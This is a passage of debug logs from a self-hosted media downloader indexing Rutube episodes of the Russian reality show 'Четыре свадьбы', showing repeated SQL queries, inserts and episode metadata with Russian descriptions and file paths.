= true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [56] 14:35:53.395 [debug] Current batch of media processed. Will check again in 1000ms 14:35:54.396 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Невесты из Казани, Москвы, Санкт-Петербурга и Новосибирска приглашают на свои мероприятия. У Регины будет русско-татарская свадьба. Анастасия выберет для своей свадьбы романтический стиль. Фишкой свадьбы Полины станет появление жениха и невесты. А Яна позовёт гостей на свою винную свадьбу. Чем удивят девушек торжества конкуренток, узнаем из программы «Четыре свадьбы».", "duration" => 6321, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020800 - Русско-татарская свадьба VS Винная свадьба.mp4", "id" => "fb8898b03e668dae82812283855280ce", "original_url" => "https://rutube.ru/video/fb8898b03e668dae82812283855280ce/", "playlist_index" => 64, "timestamp" => 1707411617, "title" => "Русско-татарская свадьба VS Винная свадьба", "upload_date" => "20240208"} 14:35:54.397 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:54.399 [debug] QUERY OK source="sources" db=0.6ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:54.399 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-08 17:00:17Z], 1] 14:35:54.414 [debug] QUERY OK source="media_items" db=13.7ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты из Казани, Москвы, Санкт-Петербурга и Новосибирска приглашают на свои мероприятия. У Регины будет русско-татарская свадьба. Анастасия выберет для своей свадьбы романтический стиль. Фишкой свадьбы Полины станет появление жениха и невесты. А Яна позовёт гостей на свою винную свадьбу. Чем удивят девушек торжества конкуренток, узнаем из программы «Четыре свадьбы».", "Русско-татарская свадьба VS Винная свадьба", "116ddb6b-f8eb-4280-862a-9e0f42ad0107", "fb8898b03e668dae82812283855280ce", 6321, false, "https://rutube.ru/video/fb8898b03e668dae82812283855280ce/", 64, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020800 - Русско-татарская свадьба VS Винная свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-02-08 17:00:17Z], ~U[2025-12-09 11:35:54Z], ~U[2025-12-09 11:35:54Z], "Невесты из Казани, Москвы, Санкт-Петербурга и Новосибирска приглашают на свои мероприятия. У Регины будет русско-татарская свадьба. Анастасия выберет для своей свадьбы романтический стиль. Фишкой свадьбы Полины станет появление жениха и невесты. А Яна позовёт гостей на свою винную свадьбу. Чем удивят девушек торжества конкуренток, узнаем из программы «Четыре свадьбы».", "Русско-татарская свадьба VS Винная свадьба", "fb8898b03e668dae82812283855280ce", 6321, false, "https://rutube.ru/video/fb8898b03e668dae82812283855280ce/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e020800 - Русско-татарская свадьба VS Винная свадьба.mp4", false, 1, ~U[2024-02-08 17:00:17Z]] 14:35:54.416 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=133.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:54.417 [debug] QUERY OK source="media_profiles" db=0.4ms idle=18.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:54.418 [debug] QUERY OK source="media_items" db=1.0ms idle=18.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [57] 14:35:54.419 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Невесты побывают на свадьбах друг у друга и дадут оценку мероприятиям соперниц. Елена из Санкт-Петербурга позовёт гостей на свою свадьбу в лавандовых тонах. Анастасия из Санкт-Петербурга превратит свою свадьбу в кругосветное путешествие. У Лилии из Самары будет казахская свадьба. А фишкой торжества Елены из Чебоксар станет сюрприз для жениха от невесты. Как будут развлекаться девушки на мероприятия конкуренток, покажет программа «Четыре свадьбы».", "duration" => 5895, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e021500 - Свадьба на теплоходе VS Казахская свадьба.mp4", "id" => "46e13013ee68697329f696b41dc46dd6", "original_url" => "https://rutube.ru/video/46e13013ee68697329f696b41dc46dd6/", "playlist_index" => 65, "timestamp" => 1708016536, "title" => "Свадьба на теплоходе VS Казахская свадьба", "upload_date" => "20240215"} 14:35:54.420 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=19.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:54.421 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:54.422 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-15 17:02:16Z], 1] 14:35:54.447 [debug] QUERY OK source="media_items" db=24.4ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты побывают на свадьбах друг у друга и дадут оценку мероприятиям соперниц. Елена из Санкт-Петербурга позовёт гостей на свою свадьбу в лавандовых тонах. Анастасия из Санкт-Петербурга превратит свою свадьбу в кругосветное путешествие. У Лилии из Самары будет казахская свадьба. А фишкой торжества Елены из Чебоксар станет сюрприз для жениха от невесты. Как будут развлекаться девушки на мероприятия конкуренток, покажет программа «Четыре свадьбы».", "Свадьба на теплоходе VS Казахская свадьба", "53988992-b08a-4f86-afc8-3bbbc5b9fcf4", "46e13013ee68697329f696b41dc46dd6", 5895, false, "https://rutube.ru/video/46e13013ee68697329f696b41dc46dd6/", 65, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e021500 - Свадьба на теплоходе VS Казахская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-02-15 17:02:16Z], ~U[2025-12-09 11:35:54Z], ~U[2025-12-09 11:35:54Z], "Невесты побывают на свадьбах друг у друга и дадут оценку мероприятиям соперниц. Елена из Санкт-Петербурга позовёт гостей на свою свадьбу в лавандовых тонах. Анастасия из Санкт-Петербурга превратит свою свадьбу в кругосветное путешествие. У Лилии из Самары будет казахская свадьба. А фишкой торжества Елены из Чебоксар станет сюрприз для жениха от невесты. Как будут развлекаться девушки на мероприятия конкуренток, покажет программа «Четыре свадьбы».", "Свадьба на теплоходе VS Казахская свадьба", "46e13013ee68697329f696b41dc46dd6", 5895, false, "https://rutube.ru/video/46e13013ee68697329f696b41dc46dd6/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e021500 - Свадьба на теплоходе VS Казахская свадьба.mp4", false, 1, ~U[2024-02-15 17:02:16Z]] 14:35:54.452 [debug] QUERY OK source="sources" db=4.8ms queue=0.1ms idle=28.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:54.453 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=32.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:54.454 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=32.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [58] 14:35:54.454 [debug] Current batch of media processed. Will check again in 1000ms 14:35:55.455 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Чем выделятся новые участницы «Четырёх свадеб»? У Айгуль из Омска будет современная казахская свадьба. Виктория из Оренбурга решила удивить соперниц танцем молодых. Фишкой свадьбы Татьяны из Казани станет сюрприз от невесты. А Ирина из Омска порадует гостей своего мероприятия тортом от финалиста известного кондитерского шоу. Смотрите программу «Четыре свадьбы»!", "duration" => 6390, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022200 - Современная казахская свадьба VS Романтическая свадьба.mp4", "id" => "13ab637c1fed0d6ebb5f40f2fb69ff6b", "original_url" => "https://rutube.ru/video/13ab637c1fed0d6ebb5f40f2fb69ff6b/", "playlist_index" => 66, "timestamp" => 1708621812, "title" => "Современная казахская свадьба VS Романтическая свадьба", "upload_date" => "20240222"} 14:35:55.456 [debug] QUERY OK source="sources" db=0.5ms idle=1009.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:55.457 [debug] QUERY OK source="sources" db=0.7ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:55.458 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-22 17:10:12Z], 1] 14:35:55.463 [debug] QUERY OK source="media_items" db=4.0ms idle=1005.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Чем выделятся новые участницы «Четырёх свадеб»? У Айгуль из Омска будет современная казахская свадьба. Виктория из Оренбурга решила удивить соперниц танцем молодых. Фишкой свадьбы Татьяны из Казани станет сюрприз от невесты. А Ирина из Омска порадует гостей своего мероприятия тортом от финалиста известного кондитерского шоу. Смотрите программу «Четыре свадьбы»!", "Современная казахская свадьба VS Романтическая свадьба", "167d8753-0f3b-4901-8bd7-2db27f2cc1b0", "13ab637c1fed0d6ebb5f40f2fb69ff6b", 6390, false, "https://rutube.ru/video/13ab637c1fed0d6ebb5f40f2fb69ff6b/", 66, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022200 - Современная казахская свадьба VS Романтическая свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-02-22 17:10:12Z], ~U[2025-12-09 11:35:55Z], ~U[2025-12-09 11:35:55Z], "Чем выделятся новые участницы «Четырёх свадеб»? У Айгуль из Омска будет современная казахская свадьба. Виктория из Оренбурга решила удивить соперниц танцем молодых. Фишкой свадьбы Татьяны из Казани станет сюрприз от невесты. А Ирина из Омска порадует гостей своего мероприятия тортом от финалиста известного кондитерского шоу. Смотрите программу «Четыре свадьбы»!", "Современная казахская свадьба VS Романтическая свадьба", "13ab637c1fed0d6ebb5f40f2fb69ff6b", 6390, false, "https://rutube.ru/video/13ab637c1fed0d6ebb5f40f2fb69ff6b/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022200 - Современная казахская свадьба VS Романтическая свадьба.mp4", false, 1, ~U[2024-02-22 17:10:12Z]] 14:35:55.479 [debug] QUERY OK source="sources" db=15.1ms idle=181.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:55.480 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=22.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:55.481 [debug] QUERY OK source="media_items" db=0.4ms idle=22.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [59] 14:35:55.481 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Свадебный марафон начинается! У Анны из Вологды будет классическая свадьба, фишкой которой станет свадебный торт. Анастасия из Нижнего Новгорода устроит вечеринку в стиле «Гэтсби» и удивит гостей своим нарядом. Мероприятие Виктории из Твери пройдёт в стиле «аниме и котики». А Ксения из Томска заинтригует конкуренток оформлением банкетного зала фарфоровыми цветами. Какие оценки участницы поставят соперницам, покажет программа «Четыре свадьбы».", "duration" => 5901, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022900 - Свадьба в стиле аниме VS Свадьба в стиле Гэтсби.mp4", "id" => "21cd6f84db3a12f3f88c080c0fd4e2a0", "original_url" => "https://rutube.ru/video/21cd6f84db3a12f3f88c080c0fd4e2a0/", "playlist_index" => 67, "timestamp" => 1709227210, "title" => "Свадьба в стиле аниме VS Свадьба в стиле Гэтсби", "upload_date" => "20240229"} 14:35:55.482 [debug] QUERY OK source="sources" db=0.6ms idle=22.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:55.483 [debug] QUERY OK source="sources" db=0.4ms idle=19.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:55.484 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-29 17:20:10Z], 1] 14:35:55.508 [debug] QUERY OK source="media_items" db=23.8ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! У Анны из Вологды будет классическая свадьба, фишкой которой станет свадебный торт. Анастасия из Нижнего Новгорода устроит вечеринку в стиле «Гэтсби» и удивит гостей своим нарядом. Мероприятие Виктории из Твери пройдёт в стиле «аниме и котики». А Ксения из Томска заинтригует конкуренток оформлением банкетного зала фарфоровыми цветами. Какие оценки участницы поставят соперницам, покажет программа «Четыре свадьбы».", "Свадьба в стиле аниме VS Свадьба в стиле Гэтсби", "c24d0eb6-6ad9-4dab-88de-bab59cce6607", "21cd6f84db3a12f3f88c080c0fd4e2a0", 5901, false, "https://rutube.ru/video/21cd6f84db3a12f3f88c080c0fd4e2a0/", 67, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022900 - Свадьба в стиле аниме VS Свадьба в стиле Гэтсби.mp4", false, false, false, 1, [], 1, ~U[2024-02-29 17:20:10Z], ~U[2025-12-09 11:35:55Z], ~U[2025-12-09 11:35:55Z], "Свадебный марафон начинается! У Анны из Вологды будет классическая свадьба, фишкой которой станет свадебный торт. Анастасия из Нижнего Новгорода устроит вечеринку в стиле «Гэтсби» и удивит гостей своим нарядом. Мероприятие Виктории из Твери пройдёт в стиле «аниме и котики». А Ксения из Томска заинтригует конкуренток оформлением банкетного зала фарфоровыми цветами. Какие оценки участницы поставят соперницам, покажет программа «Четыре свадьбы».", "Свадьба в стиле аниме VS Свадьба в стиле Гэтсби", "21cd6f84db3a12f3f88c080c0fd4e2a0", 5901, false, "https://rutube.ru/video/21cd6f84db3a12f3f88c080c0fd4e2a0/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e022900 - Свадьба в стиле аниме VS Свадьба в стиле Гэтсби.mp4", false, 1, ~U[2024-02-29 17:20:10Z]] 14:35:55.512 [debug] QUERY OK source="sources" db=2.0ms idle=28.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:55.512 [debug] QUERY OK source="media_profiles" db=0.3ms idle=29.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:55.522 [debug] QUERY OK source="media_items" db=7.4ms queue=0.2ms idle=31.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour 